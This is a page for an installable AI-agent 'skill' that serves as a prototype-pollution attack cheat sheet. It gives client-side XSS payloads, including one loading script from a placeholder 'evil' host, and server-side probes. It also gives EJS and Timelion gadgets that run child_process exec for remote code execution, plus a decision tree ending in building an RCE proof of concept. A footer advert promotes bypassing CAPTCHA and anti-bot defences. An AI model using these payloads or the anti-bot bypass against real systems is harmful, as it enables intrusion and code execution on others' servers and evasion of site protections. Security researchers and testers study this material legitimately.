prototype-pollution

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollution
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

#__proto__[xxx]=alert(1)

Server-side first probes(JSON / form)

{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"polluted":true}}}

After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads Object.prototype.polluted (see §3 detection table).

Quick boolean

If target code uses lodash.merge, deep-extend, hoek.applyToDefaults, or some qs/query-string configurations, raise priority.

1. MECHANISM

Prototype chain: when accessing obj.key, if obj lacks own property key, lookup walks up [[Prototype]] until Object.prototype.

**__proto__**: many parsers treat literal key __proto__ as a magic path that attaches child properties to the prototype. Merging { "__proto__": { "x": 1 } } can be equivalent to Object.prototype.x = 1 depending on implementation and patch level.

**constructor.prototype**: constructor typically points to the object's constructor function; constructor.prototype is that constructor's prototype object. For plain objects this usually links to Object.prototype. Example path:

{"constructor":{"prototype":{"polluted":1}}}

This is not always equivalent to __proto__ (filtering, JSON parsing, Bun/Node differences), so test both paths.

Core issue: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to prototype objects, giving global or shared template context malicious properties that later code reads normally, triggering gadgets.

2. CLIENT-SIDE DETECTION

URL fragment

https://app.example/page#__proto__[admin]=1
https://app.example/#__proto__[xxx]=alert(1)

If router or analytics code parses fragments into objects and then merges, pollution may occur.

constructor.prototype path

#constructor[prototype][role]=admin

DOM / attribute injection ideas

If the framework merges attribute names as object keys:

__proto__[src]=//evil/xss.js

Event-handler style keys (implementation-dependent):

__proto__[onerror]=alert(1)

Verification: open a fresh page without fragment and check in console whether test keys remain on Object.prototype; account for extension and DevTools interference.

3. SERVER-SIDE DETECTION (Express / Node, black-box)

The payloads below assume body/query is deeply parsed into objects by qs or similar parsers (possibly with body-parser). Observe global side effects, not only current endpoint return values.

Payload (JSON example)

Expected observable signal

{"__proto__":{"parameterLimit":1}}

Multi-parameter parsing in follow-up requests is ignored or abnormal (qs-style parameterLimit)

{"__proto__":{"ignoreQueryPrefix":true}}

Double-question-mark prefixes like ??foo=bar are accepted or behavior changes sharply

{"__proto__":{"allowDots":true}}

Nested keys like ?foo.bar=baz are expanded via dot notation

{"__proto__":{"json spaces":" "}}

JSON-serialized responses gain extra spaces (JSON.stringify spacing setting polluted)

{"__proto__":{"exposedHeaders":["foo"]}}

CORS responses include foo-related headers (if framework reads config from prototype)

{"__proto__":{"status":510}}

Some response status changes to 510 or another abnormal code (app reads status from object)

Operational tip: send pollution request first, then a clean request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.

4. EXPLOITATION GADGETS

Target / scenario

Payload or pattern

Notes

EJS

{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}

If template engine options like escapeFunction are read from polluted prototype, this may lead to RCE; strongly version/config dependent

Timelion expression chain (CVE-2019-7609)

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')

Historical chain: prototype pollution + timeline expression execution; useful to understand expression + PP combinations

**Node child_process**

Pollute shell, argv0, env, NODE_OPTIONS, etc. (merged into exec/fork option objects)

Depends on whether later code calls spawn/fork and reads options from prototype chain

Generic constructor path

{"constructor":{"prototype":{"foo":"bar"}}}

Bypasses weak validation that filters only the __proto__ key

Chain mindset: pollution -> dependency reads obj.settings.xxx without hasOwnProperty -> RCE / SSRF / path traversal.

5. TOOLS

Project

Purpose

yeswehack/pp-finder

Helps locate PP-prone merge points and patterns

yuske/silent-spring

Research and detection around prototype-pollution surfaces

yuske/server-side-prototype-pollution

Server-side PP testing suite/methodology

BlackFan/client-side-prototype-pollution

Browser-side PP cases and payloads

portswigger/server-side-prototype-pollution

Burp ecosystem extension / supporting material

msrkp/PPScan

Scanning/verification helper

Prioritize use on authorized targets; automated tools can cause side effects on stateful applications.

6. DECISION TREE

Input merged into nested object?

                    (query, JSON, GraphQL vars, YAML→JSON)

                                |

               NO --------------+-------------- YES

               |                              |

        Other vuln class                Parser allows __proto__ /

                                        constructor.prototype keys?

                                                    |

                                    NO --------------+-------------- YES

                                    |                              |

                             Check unicode /                    Confirm global effect:

                             bypass of key names               clean follow-up request

                                    |                              |

                                    +--------------+----------------+

                                                   |

                                                   v

                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)

                                                   |

                              NO ------------------+------------------ YES

                              |                                         |

                       Report PP as DoS /              Build minimal RCE or

                       logic impact                   high-impact PoC

                              |                                         |

                              +---------------------+-------------------+

                                                    |

                                                    v

                              Client-side: fragment / DOM / third-party script

                              Server-side: qs/body-parser/lodash/deep-merge version audit

Related routing

  • Template execution chains (non-PP) -> SSTI.
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card